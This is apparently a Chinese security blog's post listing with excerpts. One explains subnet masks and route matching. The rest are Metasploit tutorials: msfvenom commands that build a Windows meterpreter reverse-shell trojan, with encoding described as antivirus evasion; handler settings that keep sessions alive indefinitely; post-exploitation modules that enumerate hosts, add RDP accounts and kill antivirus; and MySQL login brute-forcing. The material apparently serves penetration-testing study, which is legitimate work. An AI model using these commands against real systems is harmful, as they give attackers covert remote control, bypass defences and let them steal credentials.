    相同的ip用子网掩码可以分成不同的网络段,对于其他主机怎么区别呢?比如我现在想要访问192.168.100.50这个地址。现在网路上有两个这个ip,一个是192.168.100.50,子网掩码是255.255.255.0。另外一个子网掩码是255.255.254.0。这两个是不同的网络段,但是我的ip报头中目标地址是一样的,这个如何区别呢? 一个似曾相识的讨论题,值得讨论一下,讨论之前需要先行阅读它。 首先,在一个局域网内,一个IP地址只能用在一个地方,所以你将一个IP = 192.168.100.50 用在两个地方是不符合规范的。 你不会觉得192.168.100.50/24 与192.168.100.50/23 是两个IP地址吧? 虽然它使用不同的网络掩码,但192.168.100.50依然还是192.168.100.50啊! 如果可以使用不同的网络掩码把一个IP地址(1.1.1.1)变成多个IP地址,IP地址也不至于那么快枯竭。 网络掩码的真实含义1.1.1.1/32    代表IP = 1.1.1.1 是网段1.1.1.1/32的一个成员,网段里共1个成员。1.1.1.1./31    代表IP = 1.1.1.1 是网段1.1.1.0/31的一个成员,网段里共2个成员。.。。。1.1.1.1./24    代表IP = 1.1.1.1 是网段1.1.1.0/24的一个成员,网段里共256个成员。1.1.1.1./16    代表IP = 1.1.1.1 是网段1.1.0.0/16的一个成员,网段里共65536个成员。1.1.1.1./8    代表IP = 1.1.1.1 是网段1.0.0.0/8的一个成员,网段里共16777216个成员。 所以IP地址的网络掩码,只是表示这个IP地址所在网络的大小,即成员数的多少。 回到问题本身,192.168.100.50/24 与192.168.100.50/23相比,谁的网络成员多? 当然是后者,即192.168.100.50/23,后者是前者的2倍。 当试图访问192.168.100.50这个IP地址时,有两个route option,一个指向192.168.100.50/24的网关,另一个指向192.168.100.50/23的网关,你觉得哪个更精准一点? 当然是前者,前者的范围更小。 在路由表的优选算法里,哪条路由表条目与IP报文的目的IP更精准匹配,谁更优。 所以访问192.168.100.50的流量,全部会转发到192.168.100.50/24,而不会到192.168.100.50/23。除了与192.168.100.50/23同网段的流量除外。...

    2021-03-03 614
  • Metasploit -- 生成木马(msfvenom)

    作用:生成木马文件 1、msfvenom 相关参数介绍 -p, --payload <payload> 指定需要使用的payload(攻击荷载) -l, --list [module_type] 列出指定模块的所有可用资源,模块类型包括: payloads, encoders, nops, all -n, --nopsled <length> 为payload预先指定一个NOP滑动长度 -f, --format <format> 指定输出格式 (使用 --list formats 来获取msf支持的输出格式列表) -e, --encoder [encoder] 指定需要使用的encoder(编码器) -a, --arch <architecture> 指定payload的目标架构 --platform <platform> 指定payload的目标平台 -s, --space <length> 设定有效攻击荷载的最大长度 -b, --bad-chars <list> 设定规避字符集,比如: &#039;\x00\xff&#039; -i, --iterations <count> 指定payload的编码次数 -c, --add-code <path> 指定一个附加的win32 shellcode文件 -x, --template <path> 指定一个自定义的可执行文件作为模板 -k, --keep 保护模板程序的动作,注入的payload作为一个新的进程运行 --payload-options 列举payload的标准选项 -o, --out <path> 保存payload -v, --var-name <name> 指定一个自定义的变量,以确定输出格式 --shellest 最小化生成payload -h, --help 查看帮助选项 --help-formats 查看msf支持的输出格式列表 2、以windows为例 基础命令格式 windows:msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.139.129 LPORT=8787 -f exe > shell.exe 加上编码(达到免杀效果) msfvenom -p windows/meterpreter/bind_tcp -e x86/shikata_ga_nai -i 3 LHOST=192.168.139.131 LPORT=4444 -f exe > 1.exe 3、连接生成的木马 选择攻击模块(exploit/multi/handler) 设置payload和上面的一样 4、目标主机运行木马 注意: msf exploit(multi/handler) > set ExitOnSession false    //可以在接收到seesion后继续监听端口,保持侦听。 防止session意外退出 msf5 exploit(multi/handler) > set SessionCommunicationTimeout 0   //默认情况下,如果一个会话将在5分钟(300秒)没有任何活动,那么它会被杀死,为防止此情况可将此项修改为0 msf5 exploit(multi/handler) > set SessionExpirationTimeout 0 //默认情况下,一个星期(604800秒)后,会话将被强制关闭,修改为0可永久不会被关闭 ...

    2021-03-02 653
  • Metasploit -- 后渗透模块(POST)

    作用:获取目标主机后shell后,继续信息收集,提权 1、获取目标分区情况 run post/windows/gather/forensics/enum_drives 2、检测是否是虚拟主机 run post/windows/gather/checkvm 3、获取当前安装的应用程序 run post/windows/gather/enum_applications 4、获取用户登录信息 run post/windows/gather/enum_logged_on_users 5、对目标进行漏洞扫描 run post/multi/recon/local_exploit_suggester 6、收集系统环境信息 run post/multi/gather/env 7、查看开启的服务 run post/windows/gather/enum_services 8、查看目标主机最近的操作 run post/windows/gather/dumplinks 9、其他操作 删除用户 run post/wndows/manage/delete_user username=aiyou 添加账户 run post/windows/manage/enable_rdp USERNAME=aiyou PASSWORD=aiyou 关闭杀软 windows/manage/killav ...

    2021-03-01 584
  • Metasploit -- 辅助模块

    作用:Metasploit的辅助模块主要用于信息搜集阶段,功能包括扫描、口令猜解、敏感信息嗅探、FUZZ测试发掘漏洞、实施网络协议欺骗等 一、辅助模块氛围三个大类 1、Admin Admin/HTTP模块 Admin/MSSQL模块 Admin/MySQL模块 Admin/Postgres模块 Admin/VMWare模块 2、Scanner DCERPC Discovery FTP HTTP IMAP MSSQL MySQL NetBIOS POP3 SMB SMTP SNMP SSH Telnet TFTP VMWare VNC 3、Server 捕获模块 二、Admin例子 1、查找关于mysql的辅助模块 2、选择auxiliary/admin/mysql/mysql_sql use 1 3、查看需要设置的参数 4、设置目标主机、用户名和密码, 5、run,执行 三、Scanner例子 1、搜索关于扫描mysql数据库的辅助模块 2、选择auxiliary/scanner/mysql/mysql_login,爆破数据库登陆 use 3 3、查看需要设置的参数 4、设置用户名字典 5、设置密码字典 6、设置目标主机 set rhosts 192.168.139.129 ...

    2021-02-28 588

联系我们

在线咨询:点击这里给我发消息

QQ交流群:KirinBlog

工作日:8:00-23:00,节假日休息

扫码关注